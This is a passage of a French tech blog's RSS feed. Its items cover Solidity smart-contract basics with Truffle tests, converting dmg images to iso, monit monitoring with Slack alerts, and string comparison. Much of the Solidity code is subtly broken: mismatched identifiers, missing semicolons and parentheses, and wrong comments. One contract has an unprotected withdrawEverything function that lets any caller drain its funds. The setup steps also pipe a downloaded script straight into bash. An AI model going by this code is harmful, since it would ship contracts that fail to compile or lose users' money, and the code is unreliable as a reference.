                container: &#39;#search-input&#39;,
                placeholder: &#39;Search for libraries in France...&#39;
            })
        );

        // add a hits widget
            search.addWidget(
                instantsearch.widgets.hits({
                    container: &#39;#hits-container&#39;,
                    hitsPerPage: 10,
                    debug: true,
                    templates: {
                    item: &#39;&lt;a href=&#34;\{\{url\}\}&#34; target=&#34;_blank&#34;&gt;&lt;div class=&#34;hit&#34;&gt;&lt;div class=&#34;hit-content&#34;&gt;&lt;h2 class=&#34;hit-title&#34;&gt;\{\{\{_highlightResult.title.value\}\}\}&lt;/h2&gt;&lt;br&gt;&lt;small&gt;\{\{lvl0\}\} \{\{#lvl1\}\}&gt; \{\{\{_highlightResult.lvl1.value\}\}\} \{\{/lvl1\}\}\{\{#lvl2\}\}&gt; \{\{\{_highlightResult.lvl1.value\}\}\} \{\{/lvl2\}\}\{\{#lvl3\}\}&gt; \{\{\{_highlightResult.lvl3.value\}\}\} \{\{/lvl3\}\} \{\{#lvl4\}\}&gt; \{\{\{_highlightResult.lvl4.value\}\}\}\{\{/lvl4\}\}&lt;/small&gt;&lt;p class=&#34;hit-description&#34;&gt;\{\{\{_snippetResult.content.value\}\}\}&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/a&gt;&#39;,
                    empty: &#39;&lt;div id=&#34;no-results-message&#34;&gt; &lt;p&gt;We didn`t find any results for the search &lt;em&gt;&#34;\{\{query\}\}&#34;&lt;/em&gt;.&lt;/p&gt;&lt;/div&gt;&#39;
                    }
                })
            );

        // start
        search.start();
    
    });

&lt;/script&gt;
</code></pre><p>Pour que votre index soit utilisé, il suffit de remplacer la valeur des variables <code>appId: 'YOUR_APPLICATION_ID'</code>, <code>apiKey: 'YOUR_READONLY_API_KEY'</code> et <code>indexName: 'YOUR_SEARCH_INDEX'</code> dans le code ci-dessous par les votres.</p>
<p>Algolia est un très bon service SAAS que je recommande. Il est excessivement intuitif et vraiment très performant.</p>
]]></content>
        </item>
        
        <item>
            <title>Solidity fondamentals</title>
            <link>https://leandeep.com/solidity-fondamentals/</link>
            <pubDate>Thu, 13 Feb 2020 16:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/solidity-fondamentals/</guid>
            <description>&lt;h2 id=&#34;remix-ide&#34;&gt;Remix IDE&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://remix.ethereum.org&#34;&gt;Remix&lt;/a&gt;
&lt;em&gt;(Orange buttons dans la partie interaction avec le smart contract de Remix -&amp;gt; it costs gas)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://remix-ide.readthedocs.io/&#34;&gt;Remix IDE Doc&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/ethereum/remix-project&#34;&gt;Remix Project&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Déployer son Smart Contract sur Rinkeby en sélectionnant &lt;strong&gt;injected Web3&lt;/strong&gt; et étant connecté à Metamask.&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Partager un dossier local avec remix Cloud IDE:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;npm install -g @remix-project/remixd
remixd -s &amp;lt;absolute-path-to-the-shared-folder&amp;gt; --remix-ide https://remix.ethereum.org
&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Faire tourner l&amp;rsquo;IDE Remix en local&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;git clone https://github.com/ethereum/remix-project.git
cd remix-project
yarn install
yarn run build:libs
nx build
nx serve
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Open &lt;a href=&#34;http://127.0.0.1:8080&#34;&gt;http://127.0.0.1:8080&lt;/a&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="remix-ide">Remix IDE</h2>
<p><a href="https://remix.ethereum.org">Remix</a>
<em>(Orange buttons dans la partie interaction avec le smart contract de Remix -&gt; it costs gas)</em></p>
<p><a href="https://remix-ide.readthedocs.io/">Remix IDE Doc</a></p>
<p><a href="https://github.com/ethereum/remix-project">Remix Project</a></p>
<blockquote>
<p>Déployer son Smart Contract sur Rinkeby en sélectionnant <strong>injected Web3</strong> et étant connecté à Metamask.</p></blockquote>
<blockquote>
<p>Partager un dossier local avec remix Cloud IDE:</p>
<pre tabindex="0"><code>npm install -g @remix-project/remixd
remixd -s &lt;absolute-path-to-the-shared-folder&gt; --remix-ide https://remix.ethereum.org
</code></pre></blockquote>
<blockquote>
<p>Faire tourner l&rsquo;IDE Remix en local</p>
<pre tabindex="0"><code>git clone https://github.com/ethereum/remix-project.git
cd remix-project
yarn install
yarn run build:libs
nx build
nx serve
</code></pre><p>Open <a href="http://127.0.0.1:8080">http://127.0.0.1:8080</a></p></blockquote>
<br/>
<h2 id="deploy-a-first-smart-contract-la-base">Deploy a first smart contract. La base</h2>
<p>For rapid prototyping use Remix and select &ldquo;Javascript VM&rdquo;.</p>
<br/>
<p><strong>Simplest commented Contract example</strong></p>
<pre tabindex="0"><code>// SPDX-License-Identifier: MIT
pragma solidity ^0.4.24; // Specify compiler version

contract ExampleOne { // Contract definition
  uint256 myVar; // storage varible. Can only store positive integer with a max value of 256 bits
  
  function setMyVar(uint256 _myVar) public { // Public method than can be called externally and a parameter has to be passed
    myVar = _myVar;
  }

}
</code></pre><br/>
<p>Compile, deploy and interact with the Smart Contract still via Remix.</p>
<br/>
<h2 id="second-commented-contract-example">Second commented Contract example</h2>
<pre tabindex="0"><code>// SPDX-License-Identifier: MIT
pragma solidity ^0.4.24; // Specify compiler version

contract MyContract  { // Contract definition
  
  uint256 public myVar; // storage varible. Can only store positive integer with a max value of 256 bits. The public keywork automatically generates the get Method.
  
  constructor(uint256 _myVar) public { // Cannot be pure or view. As a normal constructor, it is automatically called. Not prefixed by function keywork. Called during contract deployment.
    myVar = _myVar; // Used to pass a variable during the deployment
  }

  function setMyVar(uint256 _myVar) public { // Public method than can be called externally and a parameter has to be passed
    myVar = _myVar;
  }

  function getMyVar() public view returns(uint256) { 
    return myVar;
  }

  function() public { // Anonymous function. Used when we interact with a Smart Contract but we do not specify any function. Often used to transfer Eth. This anonymous function can also be explicitely called. It is a fallback function. We should keen it as simple as possible (for gas).
    myVar = 2;
  }

}
</code></pre><blockquote>
<p><strong>Pure</strong> functions do not interact with other part of the smart contract excepted other pure methods. An example could be a method that multiples 2 numbers. <br/>
<strong>View</strong> functions are reading functions. They interact view state variables. It is a &ldquo;call&rdquo; not a &ldquo;transact&rdquo; so they are free to use on Ethereum.</p></blockquote>
<br/>
<h2 id="other-variable-types">Other variable types</h2>
<pre tabindex="0"><code>// SPDX-License-Identifier: MIT
pragma solidity ^0.4.24; // Specify compiler version 

contract MyContract  { // Contract definition

  uint8 internal myUint8; // Can only be called by the contract and/or other contracts within it.
  int8 private myInt8; // Can only be called from the contract
  string public coinName = &#34;70 Cent&#34;;
  bool isValid = true;
  uint myUint256; // = uint256 

  // Global variables
  uint blockTime = block.timestamp; 
  address sender = msg.sender;

  // Arrays
  string[] public tokenNames = [&#34;Dogecoin&#34;, &#34;Luna&#34;, &#34;USDC&#34;];
  uint[5] levels = [10, 25, 50, 100, 500];
  
  // Datetime
  uint timeNow1Sec = 1 seconds;
  uint timeNow1MinInSec = 1 minutes;
  uint timeNow1HourInSec = 1 hours;
  uint timeNow1DayInSec = 1 days;
  uint public timeNow1WeekInSec = 1 weeks;

  function divideInteger() public pure returns(uint8) { // The remainer of 5/2 (0.5) will be discard. The return type uint8 rounds the return value. 
    uint five = 5;
    uint two = 2;
    return five/two;
  }

  function wrapAround() public pure returns(uint8) { // The remainer of 5/2 (0.5) will be discard. The return type uint8 rounds the return value. 
    uint8 zero = 0;
    zero--;
    return zero; //The result won&#39;t be -1 here since the return type is uint8. The value will be 255.
  }

  function getBalance() public view returns(uint) { // Returns the balance in Wei.
    // 1 Ether 
    //  = 10^18 Wei
    //  = 10^15 KWei
    //  = 10^12 MWei
    //  = 10^9 GWei
    //  = 10^6 Szabo
    //  = 10^3 Finney
    return address(this).balance;
  }

  function() public payable { //Payable is mandatory if we want to pass a Ether value to the smart contract after deployment
    uint balance = msg.value;
  }

  function withdrawEverything() public { //Send back money received in Smart Contract
    msg.sender.transfer(getBalance());
  }
}
</code></pre><br/>
<h2 id="modifiers">Modifiers</h2>
<pre tabindex="0"><code>// SPDX-License-Identifier: MIT
pragma solidity ^0.4.24; // Specify compiler version 

contract MyContract  { // Contract definition
  uint public myVarOne;
  uint public myVarTwo;
  bool writable;
  
  modifier mustBeWritable() { // Modifiers can be used to avoid the require() in functions like below
    require(writable);
    _;
  }

  function setWritable(bool _writeable) {
    writeable = _writeable;
  }

  //function updateMyVarOne(uint _myVar) public {
  //  require(writable);
  //  myVarOne = _myVar;
  //}

  //function updateMyVarTwo(uint _myVar) public {
  //  require(writable);
  //  myVarTwo = _myVar;
  //}
  
  function updateMyVarOne(uint _myVar) public mustBeWritable {
    myVarOne = _myVar;
  }

  function updateMyVarTwo(uint _myVar) public mustBeWritable {
    myVarTwo = _myVar;
  }
   
}
</code></pre><br/>
<h2 id="mappings">Mappings</h2>
<p><strong>Simple mapping:</strong></p>
<pre tabindex="0"><code>mapping(string =&gt; string) public tradesAccountsMap;
</code></pre><br/>
<p><strong>Nested mapping:</strong></p>
<pre tabindex="0"><code>struct User {
  address userAddress;
  string firstName;
  string lastName;
}

mapping(address =&gt; mapping(string =&gt; User)) private UserNestedMap;
</code></pre><br/>
<h2 id="enum">Enum</h2>
<pre tabindex="0"><code>enum cookieSecurity {NONE, LAX, SECURE}
cookieSecurity public cookie = cookieSecurity.SECURE;
</code></pre><br/>
<p><strong>Autre example:</strong></p>
<pre tabindex="0"><code>// SPDX-License-Identifier: MIT
pragma solidity ^0.4.24; // Specify compiler version 

contract MyContract { // Contract definition
  mapping(uint =&gt; bool) public myMapping; // key value pairs. All values are false by default. (true for all 256 values)

  function writeSomethingInTheMapping(uint _myInt) public {
    myMapping[_myInt] = true
  }

}
</code></pre><br/>
<h2 id="structs">Structs</h2>
<p>With structs we can define our own data types.</p>
<pre tabindex="0"><code>// SPDX-License-Identifier: MIT
pragma solidity ^0.4.24; // Specify compiler version 

contract MyContract { // Contract definition
  
  struct MyStruct {
    uint timestamp;
    uint counter;
  }

  mapping(address =&gt; MyStruct) public myMapping;

  function myFunction() public {
    myMapping[msg.sender].timestamp = now;
    myMapping[msg.sender].counter++;
  }

}
</code></pre><br/>
<h2 id="compare-2-strings">Compare 2 strings</h2>
<p><strong>Don&rsquo;t do:</strong></p>
<pre tabindex="0"><code>string memory coinToFind = &#34;btc&#34;;
string[] memory myCoins = [&#34;btc&#34;, &#34;eth&#34;, &#34;etc&#34;];
for (uint i = 0; i &lt; myCoins.length; i++) {
  string memory coin = myCoins[i];
  if (coinToFind == coin) {
    return i;
  }
}
</code></pre><p><strong>But do:</strong></p>
<pre tabindex="0"><code>string memory coinToFind = &#34;btc&#34;;
string[] memory myCoins = [&#34;btc&#34;, &#34;eth&#34;, &#34;etc&#34;];
for (uint i = 0; i &lt; myCoins.length; i++) {
  string memory coin = myCoins[i];
  if (keccak256(abi.encodePacked(coinToFind) == keccak256(abi.encodePacked(coin)) {
    return i;
  }
}
</code></pre><blockquote>
<p>La <strong>string</strong> en Solidity n&rsquo;est pas un type natif. C&rsquo;est un dynamic array. <br/>
keccak256 est une fonction hash native d&rsquo;Ethereum. Les fonctions permettant de manipuler les strings (<em>get string’s length, reading and changing the character at a given location, concat two strings, extracting part of a string</em> doivent être implémentées manuellement.</p></blockquote>
<br/>
<p>Solution moins coûteuse en terme gaz:</p>
<pre tabindex="0"><code>function memoryCompare(bytes memory a, bytes memory b) internal pure returns(bool) {
  return (a.length == b.length) &amp;&amp; (keccak256(a) == keccak256(b));
}
function stringCompare(string memory a, string memory b) internal pure returns(bool) {
    return memoryCompare(bytes(a), bytes(b));
}
</code></pre><br/>
<h2 id="héritage">Héritage</h2>
<pre tabindex="0"><code>// SPDX-License-Identifier: MIT
pragma solidity &gt;=0.7.0 &lt; 0.9.0

contract mySuperContract {
  uint availableSupply;
  uint maxSupply;
  constructor(uint _startingSupply, uint _maxSupply) {
    availableSupply = _startingSupply;
    maxSupply = _maxSupply;
  }
}

contract myChildContract is MySuperContract {
  constructor(uint _ss, uint _ms) MySuperContract(ss, ms) {}

  function getAvailableSupply() public view returns (uint) {
    return availableSupply;
  } 
}
</code></pre><br/>
<h2 id="notary-app-example-code">Notary app example code</h2>
<p>Create a file called <code>notary.sol</code>.</p>
<pre tabindex="0"><code>// SPDX-License-Identifier: MIT
pragma solidity ^0.4.24; // Specify compiler version 

contract Notary { // Contract definition
  struct MyNotaryDocument {
    bytes32 checkSum; // Hash of the file
    string comments;
    string fileName;
    bool isSet;
    address setBy;
    uint timestamp;
  }

  mapping(bytes32 =&gt; myNotaryDocument) public docMapping;

  event NewDocument(bytes32 _checksum, string fileName, address indexed _setBy); // indexed so that we can search by _setBy later (only 3)

  function addDocument(bytes32 _checksum, string _fileName, string comments) public {
    require(!docMapping[_checksum].isSet);

    docMapping[_checksum].isSet = true;
    docMapping[_checksum].fileName = _fileName;
    docMapping[_checksum].timestamp = now;
    docMapping[_checksum].comments = _comments;
    docMapping[_checksum].setBy = msg.sender;

    emit NewDocument(_checksum, _fileName, msg.sender);
  }

  function documentSet(bytes32 _checksum) public view returns(string, uint, string, address) {
    require(docMapping[_checksum].isSet);

    return (docMapping[_checksum].fileName, docMapping[_checksum].timestamp, docMapping[_checksum].comments, docMapping[_checksum].setBy);
  }
}
</code></pre><br/>
<h2 id="notary-smart-contract-unit-test-in-js-example">Notary smart contract unit test in JS example</h2>
<p>Under test directory create a new file called <code>notaryTest.js</code> and add the following content:</p>
<pre tabindex="0"><code>var NotaryArtifact = artifacts.require(&#34;./notary.sol&#34;);

contract(&#34;NotaryContract&#34;, function(accounts) {
  it(&#34;This is my first test&#34;, function() {
    return NotaryArtifact.deployed().then(function(instance) {
      console.log(instance);
    })
  });

  it(&#34;should not be able to find a hash for an unexisting document&#34;, async function() {
    return NotaryArtifact.deployed().then(async function(instance) {
      try {
        await instance.documentSet(0x1111111111111111111111111111111111111111111111111111111111111111);
        assert.fail(true, true, &#34;Exception expected while calling documentSet with non existing hash&#34;)
      } catch(error) {
        if (error.message.search(&#34;revert&#34;) &gt;= 0) {
          assert.equal(error.message.search(&#34;revert&#34;) &gt;= 0, true, &#34;Error Message does not reflect expected Exception Message&#34;);
        } else {
          throw error;
        }
      }
    })
  });

  it(&#34;should not be able to create the read a document&#34;, async () =&gt; {
    let instance = await NotaryArtifact.deployed();
    await instance.addDocument(0x2222222222222222222222222222222222222222222222222222222222222222, &#34;test&#34;, &#34;test&#34;);
    let entry = await instance.documentSet(0x2222222222222222222222222222222222222222222222222222222222222222);
    //console.log(entry)
    assert.equal(entry[0], &#34;test&#34;, &#34;Filename should be equal to test&#34;);
    assert.equal(entry[1].toNumber() &gt;= 1, true, &#34;Timestamp should be bigger than 1&#34;);
    assert.equal(entry[2], &#34;test&#34;, &#34;Comment should be equal to test&#34;);
    assert.equal(entry[3, accounts[0], &#34;The transaction should have been passed by account 0&#34;);

  });
});
</code></pre><p>Then execute <code>truffle test</code>.</p>
<br/>
<h2 id="notary-smart-contract-unit-test-in-solidity-example">Notary smart contract unit test in Solidity example</h2>
<p>Under test directory create a new file called <code>notaryTest.sol</code> and add the following content:</p>
<pre tabindex="0"><code>// SPDX-License-Identifier: MIT
pragma solidity ^0.4.23;

import &#34;truffle/Assert.sol&#34;;
import &#34;truffle/DeployedAddresses.sol&#34;;
import &#34;../contracts/Notary.sol&#34;;

contract NotaryTest {
  function testAddAndRead() public {
    Notary notaryContract = Notary(DeployedAddresses.Notary());
    notaryContract.addDocument(0x3333333333333333333333333333333333333333333333333333333333333333, &#34;test&#34;, &#34;test&#34;);
    string memory fileName;
    uint timestamp;
    string memory comment;
    address sender;
    (fileName, timestamp, comment, sender) = notaryContract.documentSet(0x3333333333333333333333333333333333333333333333333333333333333333);
    Assert.equal(fileName, &#34;test&#34;, &#34;Filename should be equal to test&#34;);
    Assert.equal(sender, address(this), &#34;The caller and the address of the smart contract creator should be the same&#34;)

  }

  function testException() public {
    address notaryAddress = address(DeployedAddresses.Notary());
    bool transactionOk = notaryAddress.call(bytes4(keccak256(&#34;documentSet(bytes32)&#34;)) &#34;0x4444444444444444444444444444444444444444444444444444444444444444&#34;);
    Assert.equal(transactionOk, false, &#34;Transaction should fail&#34;);
  }
}
</code></pre><p>Then execute <code>truffle test</code>.</p>
<br/>
<h2 id="truffle-framework">Truffle Framework</h2>
<p>Truffle is useful when you work with a blockchain development team.</p>
<p><strong>Installation</strong></p>
<pre tabindex="0"><code># Install NVM
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.38.0/install.sh | bash
echo &#34;export NVM_NODEJS_ORG_MIRROR=http://nodejs.org/dist&#34; &gt;&gt; ~/.bashrc
source ~/.bashrc
nvm ls-remote

# Install NodeJS
nvm install v12.22.0
nvm use v12.22.0
nvm use default v12.22.0

# Install truffle
npm i -g truffle

# Create an empty folder and create an empty project
truffle init

# Other Truffle commands
truffle compile
truffle migrate
truffle test

# Install Ganache
git clone --depth=1 https://github.com/trufflesuite/ganache.git &amp;&amp; cd ganache
npm install
npm start
</code></pre><br/>
<p><strong>Truffle project configuration</strong></p>
<p>Edit the <code>truffle-config.js</code> and add the Ganache development network. So inside <code>module.exports = {networks:{}}</code> add the following lines of code:</p>
<pre tabindex="0"><code>    development: {
      host: &#34;127.0.0.1&#34;,
      port: 8545,
      network_id: &#34;*&#34;, // match any network
      websockets: true
    },
</code></pre><p>Then run <code>truffle migrate</code> to deploy the basic smart contract to your dev blockchain.</p>
<br/>
<h2 id="autres-remarques">Autres remarques</h2>
<ul>
<li>
<p>Aujourd&rsquo;hui Hardhat est plus recommendé que Truffle</p>
</li>
<li>
<p>Dans Solidity et Ethereum les data sont stockées à l&rsquo;intérieur des Smart Contracts. Ce n&rsquo;est pas toujours le cas avec toutes les Blochains (cf: Solana).</p>
</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Convertir des images dmg ou img en iso sur OSX</title>
            <link>https://leandeep.com/convertir-des-images-dmg-ou-img-en-iso-sur-osx/</link>
            <pubDate>Thu, 23 Jan 2020 20:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/convertir-des-images-dmg-ou-img-en-iso-sur-osx/</guid>
            <description>&lt;p&gt;&lt;strong&gt;Convertir une image img en iso&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;hdiutil convert input.img -format UDTO -o output.iso
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Convertir une image dmg en iso&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;hdiutil convert input.dmg -format UDTO -o output.iso
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p><strong>Convertir une image img en iso</strong></p>
<pre tabindex="0"><code>hdiutil convert input.img -format UDTO -o output.iso
</code></pre><br/>
<p><strong>Convertir une image dmg en iso</strong></p>
<pre tabindex="0"><code>hdiutil convert input.dmg -format UDTO -o output.iso
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Mettre en place du monitoring simple sur Ubuntu et recevoir des alertes Slack</title>
            <link>https://leandeep.com/mettre-en-place-du-monitoring-simple-sur-ubuntu-et-recevoir-des-alertes-slack/</link>
            <pubDate>Sun, 19 Jan 2020 22:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/mettre-en-place-du-monitoring-simple-sur-ubuntu-et-recevoir-des-alertes-slack/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;L&amp;rsquo;objectif de cet article est de voir comment mettre en place du monitoring simple sur son serveur Ubuntu avec des alertes Slack et des rapports hebdomadaires.&lt;/p&gt;
&lt;br/&gt;
&lt;h3 id=&#34;installation-de-monit&#34;&gt;Installation de monit&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt install monit -y
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h3 id=&#34;commandes-utiles&#34;&gt;Commandes utiles&lt;/h3&gt;
&lt;p&gt;Vérifier qu&amp;rsquo;il n&amp;rsquo;y a pas d&amp;rsquo;erreur dans la configuration.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo monit -t
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Si tout est bon, on peut reloader la monit et prendre en compte les changements de configuration avec la commande:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo monit reload
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h3 id=&#34;envoi-dalertes-sur-slack&#34;&gt;Envoi d&amp;rsquo;alertes sur Slack&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Configuration de l&amp;rsquo;URL du webhook sur le site de Slack&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>L&rsquo;objectif de cet article est de voir comment mettre en place du monitoring simple sur son serveur Ubuntu avec des alertes Slack et des rapports hebdomadaires.</p>
<br/>
<h3 id="installation-de-monit">Installation de monit</h3>
<pre tabindex="0"><code>sudo apt install monit -y
</code></pre><br/>
<h3 id="commandes-utiles">Commandes utiles</h3>
<p>Vérifier qu&rsquo;il n&rsquo;y a pas d&rsquo;erreur dans la configuration.</p>
<pre tabindex="0"><code>sudo monit -t
</code></pre><p>Si tout est bon, on peut reloader la monit et prendre en compte les changements de configuration avec la commande:</p>
<pre tabindex="0"><code>sudo monit reload
</code></pre><br/>
<h3 id="envoi-dalertes-sur-slack">Envoi d&rsquo;alertes sur Slack</h3>
<p><strong>Configuration de l&rsquo;URL du webhook sur le site de Slack</strong></p>
<ul>
<li>
<p>Go to https://<!-- raw HTML omitted -->.slack.com/apps/manage/custom-integrations</p>
</li>
<li>
<p>Click Incoming WebHooks</p>
</li>
<li>
<p>Click Add Configuration</p>
</li>
<li>
<p>Select an existing channel or create a new one (e.g. #monit) - you can change it later</p>
</li>
<li>
<p>Click Add Incoming WebHooks integration</p>
</li>
<li>
<p>Copy the Webhook URL</p>
</li>
</ul>
<br/>
<p><strong>Création du script permettant d&rsquo;envoyer des messages sur Slack</strong></p>
<p>Créer un fichier <code>/usr/local/bin/slack.sh</code> et ajoutez ce contenu:</p>
<pre tabindex="0"><code>#!/bin/bash

URL=$(cat /etc/monit/slack-url)

COLOR=${MONIT_COLOR:-$([[ $MONIT_EVENT == *&#34;succeeded&#34;* ]] &amp;&amp; echo good || echo danger)}
TEXT=$(echo -e &#34;$MONIT_EVENT: $MONIT_DESCRIPTION&#34; | python3 -c &#34;import json,sys;print(json.dumps(sys.stdin.read()))&#34;)

PAYLOAD=&#34;{
  \&#34;attachments\&#34;: [
    {
      \&#34;text\&#34;: $TEXT,
      \&#34;color\&#34;: \&#34;$COLOR\&#34;,
      \&#34;mrkdwn_in\&#34;: [\&#34;text\&#34;],
      \&#34;fields\&#34;: [
        { \&#34;title\&#34;: \&#34;Date\&#34;, \&#34;value\&#34;: \&#34;$MONIT_DATE\&#34;, \&#34;short\&#34;: true },
        { \&#34;title\&#34;: \&#34;Host\&#34;, \&#34;value\&#34;: \&#34;$MONIT_HOST\&#34;, \&#34;short\&#34;: true }
      ]
    }
  ]
}&#34;

curl -s -X POST --data-urlencode &#34;payload=$PAYLOAD&#34; $URL
</code></pre><blockquote>
<p>Ne pas oublier de donner les droits d&rsquo;exécution sur ce fichier <code>sudo chmod +x /usr/local/bin/slack.sh</code>.</p></blockquote>
<br/>
<p><strong>Configuration de l&rsquo;URL du webhook dans un fichier</strong></p>
<p>Créer un second fichier pour Slack <code>/etc/monit/slack-url</code> et ajouter l&rsquo;URL du webhook. Ce fichier contiendra uniquement une URL du type <code>https://hooks.slack.com/services/XXXXXX/YYYYYY/XyXyY123xxxZ</code>.</p>
<br/>
<p><strong>Test du bon fonctionnement du script Slack:</strong></p>
<pre tabindex="0"><code>MONIT_EVENT=&#34;Oops il y a une erreur&#34; MONIT_DESCRIPTION=&#34;Ceci est un test&#34; MONIT_HOST=`hostname` MONIT_DATE=`date -R` \
  /usr/local/bin/slack.sh
</code></pre><br/>
<h3 id="création-dalertes">Création d&rsquo;alertes</h3>
<p><strong>Running out of disk space</strong></p>
<p>Créer un fichier <code>/etc/monit/conf.d/diskspace</code> et ajouter le contenu suivant:</p>
<pre tabindex="0"><code>check filesystem rootfs with path /
  if space usage &gt; 80% then exec &#34;/usr/local/bin/slack.sh&#34; else if succeeded then exec &#34;/usr/local/bin/slack.sh&#34;
</code></pre><br/>
<p><strong>High load</strong></p>
<p>Créer le fichier suivant <code>/etc/monit/conf.d/system</code>:</p>
<pre tabindex="0"><code>check system $HOSTNAME
  if memory &gt; 80% for 2 cycles then exec &#34;/usr/local/bin/slack.sh&#34; else if succeeded then exec &#34;/usr/local/bin/slack.sh&#34;
  if swap &gt; 10% for 2 cycles then exec &#34;/usr/local/bin/slack.sh&#34; else if succeeded then exec &#34;/usr/local/bin/slack.sh&#34;
  if cpu &gt; 80% for 2 cycles then exec &#34;/usr/local/bin/slack.sh&#34; else if succeeded then exec &#34;/usr/local/bin/slack.sh&#34;
  if loadavg (5min) &gt; 1 for 2 cycles then exec &#34;/usr/local/bin/slack.sh&#34; else if succeeded then exec &#34;/usr/local/bin/slack.sh&#34;
</code></pre><br/>
<p><strong>Open ports</strong></p>
<p>Créer le fichier suivant <code>/etc/monit/conf.d/ports</code>:</p>
<pre tabindex="0"><code>check program port21 with path &#34;/bin/sh -c &#39;echo Port 21 is open ; nc -z $BLOGHOST 21 -w1&#39;&#34; every &#34;5 * * * *&#34;
  if status != 1 then exec &#34;/usr/local/bin/slack.sh&#34;

check program port25 with path &#34;/bin/sh -c &#39;echo Port 25 is open ; nc -z $BLOGHOST 25 -w1&#39;&#34; every &#34;5 * * * *&#34;
  if status != 1 then exec &#34;/usr/local/bin/slack.sh&#34;

check program port3306 with path &#34;/bin/sh -c &#39;echo Port 3306 is open ; nc -z $BLOGHOST 3306 -w1&#39;&#34; every &#34;5 * * * *&#34;
  if status != 1 then exec &#34;/usr/local/bin/slack.sh&#34;
</code></pre><p>Vérifier la bonne syntaxe du fichier:</p>
<pre tabindex="0"><code>sudo monit -t
</code></pre><p>Reload monit:</p>
<pre tabindex="0"><code>sudo monit reload
</code></pre><br/>
<h3 id="rapports-hebdo">Rapports hebdo</h3>
<p>Créer le fichier suivant <code>/usr/local/bin/report.sh</code>:</p>
<pre tabindex="0"><code>#!/bin/bash

echo Uptime
echo &#39;```&#39;
w
echo &#39;```&#39;

echo Network
echo &#39;```&#39;
sudo netstat -nlput
echo &#39;```&#39;

echo Disk
echo &#39;```&#39;
df -h
echo &#39;```&#39;

echo Memory
echo &#39;```&#39;
free -h
echo &#39;```&#39;

echo Processes
echo &#39;```&#39;
ps auxf | egrep -v &#39;\[.+\]&#39;
echo &#39;```&#39;
</code></pre><p>Vérifier le bon fonctionnement du rapport en recevant une alerte Slack:</p>
<pre tabindex="0"><code>MONIT_EVENT=Report MONIT_DESCRIPTION=`/usr/local/bin/report.sh` \
MONIT_HOST=`hostname` MONIT_DATE=`date -R` MONIT_COLOR=&#34;#808080&#34; \
  /usr/local/bin/slack.sh
</code></pre><br/>
<p><strong>Pour recevoir ce rapport chaque semaine</strong></p>
<p>Créer un fichier <code>/etc/cron.weekly/slack-report</code> et ajouter ce contenu suivant:</p>
<pre tabindex="0"><code>MONIT_EVENT=Report MONIT_DESCRIPTION=`/usr/local/bin/report.sh` \
MONIT_HOST=`hostname` MONIT_DATE=`date -R` MONIT_COLOR=&#34;#808080&#34; \
  /usr/local/bin/slack.sh
</code></pre><p>Ne pas oublier de donner à ce fichier les droits d&rsquo;exécution:</p>
<pre tabindex="0"><code>sudo chmod +x /etc/cron.weekly/slack-report
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Comparaison de strings et logique floue</title>
            <link>https://leandeep.com/comparaison-de-strings-et-logique-floue/</link>
            <pubDate>Thu, 16 Jan 2020 16:20:04 -0700</pubDate>
            
            <guid>https://leandeep.com/comparaison-de-strings-et-logique-floue/</guid>
            <description>&lt;p&gt;Pour implémenter dans la logique floue pour comparer deux strings, on peut utiliser la distance de Levenshtein.&lt;/p&gt;
&lt;p&gt;Voici le code permettant de calculer cette distance. Rien de particulier, on retrouve partout ce code sur internet.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;import numpy as np
def levenshtein_ratio_and_distance(s, t, ratio_calc = False):
    &amp;#34;&amp;#34;&amp;#34; levenshtein_ratio_and_distance:
        Calculates levenshtein distance between two strings.
        If ratio_calc = True, the function computes the
        levenshtein distance ratio of similarity between two strings
        For all i and j, distance[i,j] will contain the Levenshtein
        distance between the first i characters of s and the
        first j characters of t
    &amp;#34;&amp;#34;&amp;#34;
    # Initialize matrix of zeros
    rows = len(s)+1
    cols = len(t)+1
    distance = np.zeros((rows,cols),dtype = int)

    # Populate matrix of zeros with the indeces of each character of both strings
    for i in range(1, rows):
        for k in range(1,cols):
            distance[i][0] = i
            distance[0][k] = k

    # Iterate over the matrix to compute the cost of deletions,insertions and/or substitutions    
    for col in range(1, cols):
        for row in range(1, rows):
            if s[row-1] == t[col-1]:
                cost = 0 # If the characters are the same in the two strings in a given position [i,j] then the cost is 0
            else:
